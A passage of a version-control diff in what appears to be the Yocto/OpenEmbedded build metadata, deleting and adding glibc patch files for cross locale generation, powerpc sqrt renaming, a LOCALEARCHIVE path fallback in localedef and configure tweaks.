- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/manual/Makefile b/manual/Makefile
-index c61e11dcd7..5d859e6f84 100644
---- a/manual/Makefile
-+++ b/manual/Makefile
-@@ -103,7 +103,8 @@ $(objpfx)stamp-libm-err: $(..)math/gen-libm-test.py \
- $(wildcard $(foreach dir,$(sysdirs),\
- $(dir)/libm-test-ulps))
- pwd=`pwd`; \
-- $(PYTHON) $< -s $$pwd/.. -m $(objpfx)libm-err-tmp
-+ $(PYTHON) $< -s $$pwd/../ports -m $(objpfx)libm-err-tmp
-+ $(PYTHON) $< -s $$pwd/../sysdeps -m $(objpfx)libm-err-tmp
- $(move-if-change) $(objpfx)libm-err-tmp $(objpfx)libm-err.texi
- touch $@
-
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch b/meta/recipes-core/glibc/glibc/0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
deleted file mode 100644
index d875825ff9..0000000000
--- a/meta/recipes-core/glibc/glibc/0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-From 86fea3409b89f9d8884053a519282f2f30d7ea87 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:24:46 +0000
-Subject: [PATCH 13/29] __ieee754_sqrt{,f} are now inline functions and call
- out __slow versions
-
-Upstream-Status: Pending
-
-Signed-off-by: chunrong guo <B40290@freescale.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 6 +++---
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 4 ++--
- 2 files changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index 1c34244bd8..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 812653558f..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0013-eglibc-Forward-port-cross-locale-generation-support.patch b/meta/recipes-core/glibc/glibc/0013-eglibc-Forward-port-cross-locale-generation-support.patch
new file mode 100644
index 0000000000..f36b7f6f4c
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0013-eglibc-Forward-port-cross-locale-generation-support.patch
@@ -0,0 +1,558 @@
+From 33e9867758e830e19d181d5a0aa7f2f3cc4a08b3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 01:33:49 +0000
+Subject: [PATCH] eglibc: Forward port cross locale generation support
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/Makefile | 1 +
+ locale/catnames.c | 46 +++++++++++++++++++++++++++
+ locale/localeinfo.h | 2 +-
+ locale/programs/charmap-dir.c | 6 ++++
+ locale/programs/ld-collate.c | 17 +++++-----
+ locale/programs/ld-ctype.c | 27 ++++++++--------
+ locale/programs/ld-time.c | 31 ++++++++++++------
+ locale/programs/linereader.c | 2 +-
+ locale/programs/localedef.c | 8 +++++
+ locale/programs/locfile.c | 5 ++-
+ locale/programs/locfile.h | 59 +++++++++++++++++++++++++++++++++--
+ locale/setlocale.c | 29 -----------------
+ 12 files changed, 166 insertions(+), 67 deletions(-)
+ create mode 100644 locale/catnames.c
+
+diff --git a/locale/Makefile b/locale/Makefile
+index 2810f28605..05f847f9a6 100644
+--- a/locale/Makefile
++++ b/locale/Makefile
+@@ -30,6 +30,7 @@ headers = \
+ locale.h \
+ # headers
+ routines = \
++ catnames \
+ duplocale \
+ findlocale \
+ freelocale \
+diff --git a/locale/catnames.c b/locale/catnames.c
+new file mode 100644
+index 0000000000..538f3f5edb
+--- /dev/null
++++ b/locale/catnames.c
+@@ -0,0 +1,46 @@
++/* Copyright (C) 2006 Free Software Foundation, Inc.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, write to the Free
++ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
++ 02111-1307 USA. */
++
++#include "localeinfo.h"
++
++/* Define an array of category names (also the environment variable names). */
++const struct catnamestr_t _nl_category_names attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ category_name,
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ };
++
++const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ };
++
++/* An array of their lengths, for convenience. */
++const uint8_t _nl_category_name_sizes[] attribute_hidden =
++ {
++#define DEFINE_CATEGORY(category, category_name, items, a) \
++ [category] = sizeof (category_name) - 1,
++#include "categories.def"
++#undef DEFINE_CATEGORY
++ [LC_ALL] = sizeof ("LC_ALL") - 1
++ };
+diff --git a/locale/localeinfo.h b/locale/localeinfo.h
+index f7efc288a5..6ef082eb25 100644
+--- a/locale/localeinfo.h
++++ b/locale/localeinfo.h
+@@ -246,7 +246,7 @@ __libc_tsd_define (extern, locale_t, LOCALE)
+ unused. We can manage this playing some tricks with weak references.
+ But with thread-local locale settings, it becomes quite ungainly unless
+ we can use __thread variables. So only in that case do we attempt this. */
+-#ifndef SHARED
++#if !defined SHARED && !defined IN_GLIBC_LOCALEDEF
+ # include <tls.h>
+ # define NL_CURRENT_INDIRECT 1
+ #endif
+diff --git a/locale/programs/charmap-dir.c b/locale/programs/charmap-dir.c
+index 36504f238d..56ee97e61b 100644
+--- a/locale/programs/charmap-dir.c
++++ b/locale/programs/charmap-dir.c
+@@ -18,7 +18,9 @@
+ #include <errno.h>
+ #include <fcntl.h>
+ #include <libintl.h>
++#ifndef NO_UNCOMPRESS
+ #include <spawn.h>
++#endif
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <string.h>
+@@ -154,6 +156,7 @@ charmap_closedir (CHARMAP_DIR *cdir)
+ return closedir (dir);
+ }
+
++#ifndef NO_UNCOMPRESS
+ /* Creates a subprocess decompressing the given pathname, and returns
+ a stream reading its output (the decompressed data). */
+ static
+@@ -202,6 +205,7 @@ fopen_uncompressed (const char *pathname, const char *compressor)
+ }
+ return NULL;
+ }
++#endif
+
+ /* Opens a charmap for reading, given its name (not an alias name). */
+ FILE *
+@@ -224,6 +228,7 @@ charmap_open (const char *directory, const char *name)
+ if (stream != NULL)
+ return stream;
+
++#ifndef NO_UNCOMPRESS
+ memcpy (p, ".gz", 4);
+ stream = fopen_uncompressed (pathname, "gzip");
+ if (stream != NULL)
+@@ -233,6 +238,7 @@ charmap_open (const char *directory, const char *name)
+ stream = fopen_uncompressed (pathname, "bzip2");
+ if (stream != NULL)
+ return stream;
++#endif
+
+ return NULL;
+ }
+diff --git a/locale/programs/ld-collate.c b/locale/programs/ld-collate.c
+index 5048adbd9f..4232834ead 100644
+--- a/locale/programs/ld-collate.c
++++ b/locale/programs/ld-collate.c
+@@ -352,7 +352,7 @@ new_element (struct locale_collate_t *collate, const char *mbs, size_t mbslen,
+ }
+ if (wcs != NULL)
+ {
+- size_t nwcs = wcslen ((wchar_t *) wcs);
++ size_t nwcs = wcslen_uint32 (wcs);
+ uint32_t zero = 0;
+ /* Handle <U0000> as a single character. */
+ if (nwcs == 0)
+@@ -1776,8 +1776,7 @@ symbol `%s' has the same encoding as"), (*eptr)->name);
+
+ if ((*eptr)->nwcs == runp->nwcs)
+ {
+- int c = wmemcmp ((wchar_t *) (*eptr)->wcs,
+- (wchar_t *) runp->wcs, runp->nwcs);
++ int c = wmemcmp_uint32 ((*eptr)->wcs, runp->wcs, runp->nwcs);
+
+ if (c == 0)
+ {
+@@ -2004,9 +2003,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
+ one consecutive entry. */
+ if (runp->wcnext != NULL
+ && runp->nwcs == runp->wcnext->nwcs
+- && wmemcmp ((wchar_t *) runp->wcs,
+- (wchar_t *)runp->wcnext->wcs,
+- runp->nwcs - 1) == 0
++ && wmemcmp_uint32 (runp->wcs,
++ runp->wcnext->wcs,
++ runp->nwcs - 1) == 0
+ && (runp->wcs[runp->nwcs - 1]
+ == runp->wcnext->wcs[runp->nwcs - 1] + 1))
+ {
+@@ -2030,9 +2029,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
+ runp = runp->wcnext;
+ while (runp->wcnext != NULL
+ && runp->nwcs == runp->wcnext->nwcs
+- && wmemcmp ((wchar_t *) runp->wcs,
+- (wchar_t *)runp->wcnext->wcs,
+- runp->nwcs - 1) == 0
++ && wmemcmp_uint32 (runp->wcs,
++ runp->wcnext->wcs,
++ runp->nwcs - 1) == 0
+ && (runp->wcs[runp->nwcs - 1]
+ == runp->wcnext->wcs[runp->nwcs - 1] + 1));
+
+diff --git a/locale/programs/ld-ctype.c b/locale/programs/ld-ctype.c
+index eb6e7e145c..14736d1cac 100644
+--- a/locale/programs/ld-ctype.c
++++ b/locale/programs/ld-ctype.c
+@@ -914,7 +914,7 @@ ctype_output (struct localedef_t *locale, const struct charmap_t *charmap,
+ allocate_arrays (ctype, charmap, ctype->repertoire);
+
+ default_missing_len = (ctype->default_missing
+- ? wcslen ((wchar_t *) ctype->default_missing)
++ ? wcslen_uint32 (ctype->default_missing)
+ : 0);
+
+ init_locale_data (&file, nelems);
+@@ -1926,7 +1926,7 @@ read_translit_entry (struct linereader *ldfile, struct locale_ctype_t *ctype,
+ ignore = 1;
+ else
+ /* This value is usable. */
+- obstack_grow (ob, to_wstr, wcslen ((wchar_t *) to_wstr) * 4);
++ obstack_grow (ob, to_wstr, wcslen_uint32 (to_wstr) * 4);
+
+ first = 0;
+ }
+@@ -2460,8 +2460,8 @@ with character code range values one must use the absolute ellipsis `...'"));
+ }
+
+ handle_tok_digit:
+- class_bit = _ISwdigit;
+- class256_bit = _ISdigit;
++ class_bit = BITw (tok_digit);
++ class256_bit = BIT (tok_digit);
+ handle_digits = 1;
+ goto read_charclass;
+
+@@ -3876,8 +3876,7 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+
+ while (idx < number)
+ {
+- int res = wcscmp ((const wchar_t *) sorted[idx]->from,
+- (const wchar_t *) runp->from);
++ int res = wcscmp_uint32 (sorted[idx]->from, runp->from);
+ if (res == 0)
+ {
+ replace = 1;
+@@ -3914,11 +3913,11 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+ for (size_t cnt = 0; cnt < number; ++cnt)
+ {
+ struct translit_to_t *srunp;
+- from_len += wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
++ from_len += wcslen_uint32 (sorted[cnt]->from) + 1;
+ srunp = sorted[cnt]->to;
+ while (srunp != NULL)
+ {
+- to_len += wcslen ((const wchar_t *) srunp->str) + 1;
++ to_len += wcslen_uint32 (srunp->str) + 1;
+ srunp = srunp->next;
+ }
+ /* Plus one for the extra NUL character marking the end of
+@@ -3942,18 +3941,18 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
+ ctype->translit_from_idx[cnt] = from_len;
+ ctype->translit_to_idx[cnt] = to_len;
+
+- len = wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
+- wmemcpy ((wchar_t *) &ctype->translit_from_tbl[from_len],
+- (const wchar_t *) sorted[cnt]->from, len);
++ len = wcslen_uint32 (sorted[cnt]->from) + 1;
++ wmemcpy_uint32 (&ctype->translit_from_tbl[from_len],
++ sorted[cnt]->from, len);
+ from_len += len;
+
+ ctype->translit_to_idx[cnt] = to_len;
+ srunp = sorted[cnt]->to;
+ while (srunp != NULL)
+ {
+- len = wcslen ((const wchar_t *) srunp->str) + 1;
+- wmemcpy ((wchar_t *) &ctype->translit_to_tbl[to_len],
+- (const wchar_t *) srunp->str, len);
++ len = wcslen_uint32 (srunp->str) + 1;
++ wmemcpy_uint32 (&ctype->translit_to_tbl[to_len],
++ srunp->str, len);
+ to_len += len;
+ srunp = srunp->next;
+ }
+diff --git a/locale/programs/ld-time.c b/locale/programs/ld-time.c
+index 1abff3cf53..8a2f2b820a 100644
+--- a/locale/programs/ld-time.c
++++ b/locale/programs/ld-time.c
+@@ -219,8 +219,10 @@ No definition for %s category found"), "LC_TIME");
+ }
+ else
+ {
++ static const uint32_t wt_fmt_ampm[]
++ = { '%','I',':','%','M',':','%','S',' ','%','p',0 };
+ time->t_fmt_ampm = "%I:%M:%S %p";
+- time->wt_fmt_ampm = (const uint32_t *) L"%I:%M:%S %p";
++ time->wt_fmt_ampm = wt_fmt_ampm;
+ }
+ }
+
+@@ -230,7 +232,7 @@ No definition for %s category found"), "LC_TIME");
+ const int days_per_month[12] = { 31, 29, 31, 30, 31, 30,
+ 31, 31, 30, 31 ,30, 31 };
+ size_t idx;
+- wchar_t *wstr;
++ uint32_t *wstr;
+
+ time->era_entries =
+ (struct era_data *) xmalloc (time->num_era
+@@ -456,18 +458,18 @@ No definition for %s category found"), "LC_TIME");
+ }
+
+ /* Now generate the wide character name and format. */
+- wstr = wcschr ((wchar_t *) time->wera[idx], L':');/* end direction */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end offset */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end start */
+- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end end */
++ wstr = wcschr_uint32 (time->wera[idx], L':'); /* end direction */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end offset */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end start */
++ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end end */
+ if (wstr != NULL)
+ {
+- time->era_entries[idx].wname = (uint32_t *) wstr + 1;
+- wstr = wcschr (wstr + 1, L':'); /* end name */
++ time->era_entries[idx].wname = wstr + 1;
++ wstr = wcschr_uint32 (wstr + 1, L':'); /* end name */
+ if (wstr != NULL)
+ {
+ *wstr = L'\0';
+- time->era_entries[idx].wformat = (uint32_t *) wstr + 1;
++ time->era_entries[idx].wformat = wstr + 1;
+ }
+ else
+ time->era_entries[idx].wname =
+@@ -526,7 +528,16 @@ No definition for %s category found"), "LC_TIME");
+ if (time->date_fmt == NULL)
+ time->date_fmt = "%a %b %e %H:%M:%S %Z %Y";
+ if (time->wdate_fmt == NULL)
+- time->wdate_fmt = (const uint32_t *) L"%a %b %e %H:%M:%S %Z %Y";
++ {
++ static const uint32_t wdate_fmt[] =
++ { '%','a',' ',
++ '%','b',' ',
++ '%','e',' ',
++ '%','H',':','%','M',':','%','S',' ',
++ '%','Z',' ',
++ '%','Y',0 };
++ time->wdate_fmt = wdate_fmt;
++ }
+ }
+
+
+diff --git a/locale/programs/linereader.c b/locale/programs/linereader.c
+index 61373d2657..7ec5726377 100644
+--- a/locale/programs/linereader.c
++++ b/locale/programs/linereader.c
+@@ -776,7 +776,7 @@ get_string (struct linereader *lr, const struct charmap_t *charmap,
+ {
+ int return_widestr = lr->return_widestr;
+ struct lr_buffer lrb;
+- wchar_t *buf2 = NULL;
++ uint32_t *buf2 = NULL;
+
+ lr_buffer_init (&lrb);
+
+diff --git a/locale/programs/localedef.c b/locale/programs/localedef.c
+index 907bb5fb25..3106529043 100644
+--- a/locale/programs/localedef.c
++++ b/locale/programs/localedef.c
+@@ -108,6 +108,7 @@ void (*argp_program_version_hook) (FILE *, struct argp_state *) = print_version;
+ #define OPT_NO_WARN 402
+ #define OPT_WARN 403
+ #define OPT_NO_HARD_LINKS 404
++#define OPT_UINT32_ALIGN 405
+
+ /* Definitions of arguments for argp functions. */
+ static const struct argp_option options[] =
+@@ -152,6 +153,8 @@ static const struct argp_option options[] =
+ N_("Generate little-endian output") },
+ { "big-endian", OPT_BIG_ENDIAN, NULL, 0,
+ N_("Generate big-endian output") },
++ { "uint32-align", OPT_UINT32_ALIGN, "ALIGNMENT", 0,
++ N_("Set the target's uint32_t alignment in bytes (default 4)") },
+ { NULL, 0, NULL, 0, NULL }
+ };
+
+@@ -242,12 +245,14 @@ main (int argc, char *argv[])
+ ctype locale. (P1003.2 4.35.5.2) */
+ setlocale (LC_CTYPE, "POSIX");
+
++#ifndef NO_SYSCONF
+ /* Look whether the system really allows locale definitions. POSIX
+ defines error code 3 for this situation so I think it must be
+ a fatal error (see P1003.2 4.35.8). */
+ if (sysconf (_SC_2_LOCALEDEF) < 0)
+ record_error (3, 0, _("\
+ FATAL: system does not define `_POSIX2_LOCALEDEF'"));
++#endif
+
+ /* Process charmap file. */
+ charmap = charmap_read (charmap_file, verbose, 1, be_quiet, 1);
+@@ -399,6 +404,9 @@ parse_opt (int key, char *arg, struct argp_state *state)
+ /* Do not hard link to other locales. */
+ hard_links = false;
+ break;
++ case OPT_UINT32_ALIGN:
++ uint32_align_mask = strtol (arg, NULL, 0) - 1;
++ break;
+ case 'c':
+ force_output = 1;
+ break;
+diff --git a/locale/programs/locfile.c b/locale/programs/locfile.c
+index 6c6ebf2dd6..cc02ab82bf 100644
+--- a/locale/programs/locfile.c
++++ b/locale/programs/locfile.c
+@@ -543,6 +543,9 @@ compare_files (const char *filename1, const char *filename2, size_t size,
+ machine running localedef. */
+ bool swap_endianness_p;
+
++/* The target's value of __align__(uint32_t) - 1. */
++unsigned int uint32_align_mask = 3;
++
+ /* When called outside a start_locale_structure/end_locale_structure
+ or start_locale_prelude/end_locale_prelude block, record that the
+ next byte in FILE's obstack will be the first byte of a new element.
+@@ -620,7 +623,7 @@ add_locale_string (struct locale_file *file, const char *string)
+ void
+ add_locale_wstring (struct locale_file *file, const uint32_t *string)
+ {
+- add_locale_uint32_array (file, string, wcslen ((const wchar_t *) string) + 1);
++ add_locale_uint32_array (file, string, wcslen_uint32 (string) + 1);
+ }
+
+ /* Record that FILE's next element is the 32-bit integer VALUE. */
+diff --git a/locale/programs/locfile.h b/locale/programs/locfile.h
+index 3afb0a8d29..46785374e8 100644
+--- a/locale/programs/locfile.h
++++ b/locale/programs/locfile.h
+@@ -70,6 +70,8 @@ extern void write_all_categories (struct localedef_t *definitions,
+
+ extern bool swap_endianness_p;
+
++extern unsigned int uint32_align_mask;
++
+ /* Change the output to be big-endian if BIG_ENDIAN is true and
+ little-endian otherwise. */
+ static inline void
+@@ -88,7 +90,8 @@ maybe_swap_uint32 (uint32_t value)
+ }
+
+ /* Likewise, but munge an array of N uint32_ts starting at ARRAY. */
+-static inline void
++static void
++__attribute__ ((unused))
+ maybe_swap_uint32_array (uint32_t *array, size_t n)
+ {
+ if (swap_endianness_p)
+@@ -98,7 +101,8 @@ maybe_swap_uint32_array (uint32_t *array, size_t n)
+
+ /* Like maybe_swap_uint32_array, but the array of N elements is at
+ the end of OBSTACK's current object. */
+-static inline void
++static void
++__attribute__ ((unused))
+ maybe_swap_uint32_obstack (struct obstack *obstack, size_t n)
+ {
+ maybe_swap_uint32_array ((uint32_t *) obstack_next_free (obstack) - n, n);
+@@ -275,4 +279,55 @@ extern void identification_output (struct localedef_t *locale,
+ const struct charmap_t *charmap,
+ const char *output_path);
+
++static size_t wcslen_uint32 (const uint32_t *str) __attribute__ ((unused));
++static uint32_t * wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
++static uint32_t * wcschr_uint32 (const uint32_t *s, uint32_t ch) __attribute__ ((unused));
++static int wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2) __attribute__ ((unused));
++static int wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
++
++static size_t
++wcslen_uint32 (const uint32_t *str)
++{
++ size_t len = 0;
++ while (str[len] != 0)
++ len++;
++ return len;
++}
++
++static int
++wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n)
++{
++ while (n-- != 0)
++ {
++ int diff = *s1++ - *s2++;
++ if (diff != 0)
++ return diff;
++ }
++ return 0;
++}
++
++static int
++wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2)
++{
++ while (*s1 != 0 && *s1 == *s2)
++ s1++, s2++;
++ return *s1 - *s2;
++}
++
++static uint32_t *
++wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n)
++{
++ return memcpy (s1, s2, n * sizeof (uint32_t));
++}
++
++static uint32_t *
++wcschr_uint32 (const uint32_t *s, uint32_t ch)
++{
++ do
++ if (*s == ch)
++ return (uint32_t *) s;
++ while (*s++ != 0);
++ return 0;
++}
++
+ #endif /* locfile.h */
+diff --git a/locale/setlocale.c b/locale/setlocale.c
+index 7bd27e5398..2f194bad7c 100644
+--- a/locale/setlocale.c
++++ b/locale/setlocale.c
+@@ -63,35 +63,6 @@ static char *const _nl_current_used[] =
+
+ #endif
+
+-
+-/* Define an array of category names (also the environment variable names). */
+-const struct catnamestr_t _nl_category_names attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- category_name,
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- };
+-
+-const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- };
+-
+-/* An array of their lengths, for convenience. */
+-const uint8_t _nl_category_name_sizes[] attribute_hidden =
+- {
+-#define DEFINE_CATEGORY(category, category_name, items, a) \
+- [category] = sizeof (category_name) - 1,
+-#include "categories.def"
+-#undef DEFINE_CATEGORY
+- [LC_ALL] = sizeof ("LC_ALL") - 1
+- };
+-
+-
+ #ifdef NL_CURRENT_INDIRECT
+ # define WEAK_POSTLOAD(postload) weak_extern (postload)
+ #else
diff --git a/meta/recipes-core/glibc/glibc/0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch b/meta/recipes-core/glibc/glibc/0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
new file mode 100644
index 0000000000..daeff7b065
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch
@@ -0,0 +1,80 @@
+From f4b1d6429298c0f8a2aa29ff559eb2093ea0188f Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 3 Aug 2018 09:42:06 -0700
+Subject: [PATCH] localedef --add-to-archive uses a hard-coded locale path
+
+it doesn't exist in normal use, and there's no way to pass an
+alternative filename.
+
+Add a fallback of $LOCALEARCHIVE from the environment, and allow
+creation of new locale archives that are not the system archive.
+
+Upstream-Status: Inappropriate (OE-specific)
+
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/programs/locarchive.c | 35 +++++++++++++++++++++++++----------
+ 1 file changed, 25 insertions(+), 10 deletions(-)
+
+diff --git a/locale/programs/locarchive.c b/locale/programs/locarchive.c
+index 8d79a1b6d1..6dc7ecd4e7 100644
+--- a/locale/programs/locarchive.c
++++ b/locale/programs/locarchive.c
+@@ -339,12 +339,24 @@ enlarge_archive (struct locarhandle *ah, const struct locarhead *head)
+ struct namehashent *oldnamehashtab;
+ struct locarhandle new_ah;
+ size_t prefix_len = output_prefix ? strlen (output_prefix) : 0;
+- char archivefname[prefix_len + sizeof (ARCHIVE_NAME)];
+- char fname[prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1];
++ char *archivefname;
++ char *fname;
++ char *envarchive = getenv("LOCALEARCHIVE");
+
+- if (output_prefix)
+- memcpy (archivefname, output_prefix, prefix_len);
+- strcpy (archivefname + prefix_len, ARCHIVE_NAME);
++ if (envarchive != NULL)
++ {
++ archivefname = xmalloc(strlen(envarchive) + 1);
++ fname = xmalloc(strlen(envarchive) + sizeof (".XXXXXX"));
++ strcpy (archivefname, envarchive);
++ }
++ else
++ {
++ archivefname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME));
++ fname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1);
++ if (output_prefix)
++ memcpy (archivefname, output_prefix, prefix_len);
++ strcpy (archivefname + prefix_len, ARCHIVE_NAME);
++ }
+ strcpy (stpcpy (fname, archivefname), ".XXXXXX");
+
+ /* Not all of the old file has to be mapped. Change this now this
+@@ -568,10 +580,13 @@ open_archive (struct locarhandle *ah, bool readonly)
+ /* If ah has a non-NULL fname open that otherwise open the default. */
+ if (archivefname == NULL)
+ {
+- archivefname = default_fname;
+- if (output_prefix)
+- memcpy (default_fname, output_prefix, prefix_len);
+- strcpy (default_fname + prefix_len, ARCHIVE_NAME);
++ archivefname = getenv("LOCALEARCHIVE");
++ if (archivefname == NULL) {
++ archivefname = default_fname;
++ if (output_prefix)
++ memcpy (default_fname, output_prefix, prefix_len);
++ strcpy (default_fname + prefix_len, ARCHIVE_NAME);
++ }
+ }
+
+ while (1)
+@@ -584,7 +599,7 @@ open_archive (struct locarhandle *ah, bool readonly)
+ the default locale archive we ignore the failure and
+ list an empty archive, otherwise we print an error
+ and exit. */
+- if (errno == ENOENT && archivefname == default_fname)
++ if (errno == ENOENT)
+ {
+ if (readonly)
+ {
diff --git a/meta/recipes-core/glibc/glibc/0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch b/meta/recipes-core/glibc/glibc/0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch
deleted file mode 100644
index 954534bae2..0000000000
--- a/meta/recipes-core/glibc/glibc/0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From a3c4f67fb3cb02855073a9cdbcf2881fb53144f0 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:27:10 +0000
-Subject: [PATCH 14/29] sysdeps/gnu/configure.ac: handle correctly
- $libc_cv_rootsbindir
-
-Upstream-Status:Pending
-
-Signed-off-by: Matthieu Crapet <Matthieu.Crapet@ingenico.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/gnu/configure | 2 +-
- sysdeps/gnu/configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/sysdeps/gnu/configure b/sysdeps/gnu/configure
-index c15d1087e8..37cc983f2a 100644
---- a/sysdeps/gnu/configure
-+++ b/sysdeps/gnu/configure
-@@ -32,6 +32,6 @@ case "$prefix" in
- else
- libc_cv_localstatedir=$localstatedir
- fi
-- libc_cv_rootsbindir=/sbin
-+ test -n "$libc_cv_rootsbindir" || libc_cv_rootsbindir=/sbin
- ;;
- esac
-diff --git a/sysdeps/gnu/configure.ac b/sysdeps/gnu/configure.ac
-index 634fe4de2a..3db1697f4f 100644
---- a/sysdeps/gnu/configure.ac
-+++ b/sysdeps/gnu/configure.ac
-@@ -21,6 +21,6 @@ case "$prefix" in
- else
- libc_cv_localstatedir=$localstatedir
- fi
-- libc_cv_rootsbindir=/sbin
-+ test -n "$libc_cv_rootsbindir" || libc_cv_rootsbindir=/sbin
- ;;
- esac
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0015-powerpc-Do-not-ask-compiler-for-finding-arch.patch b/meta/recipes-core/glibc/glibc/0015-powerpc-Do-not-ask-compiler-for-finding-arch.patch
new file mode 100644
index 0000000000..8dd1f0a656
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0015-powerpc-Do-not-ask-compiler-for-finding-arch.patch
@@ -0,0 +1,48 @@
+From 2d064c0c1243ea0bf405909285d7cddca92cf097 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 7 Aug 2020 14:31:16 -0700
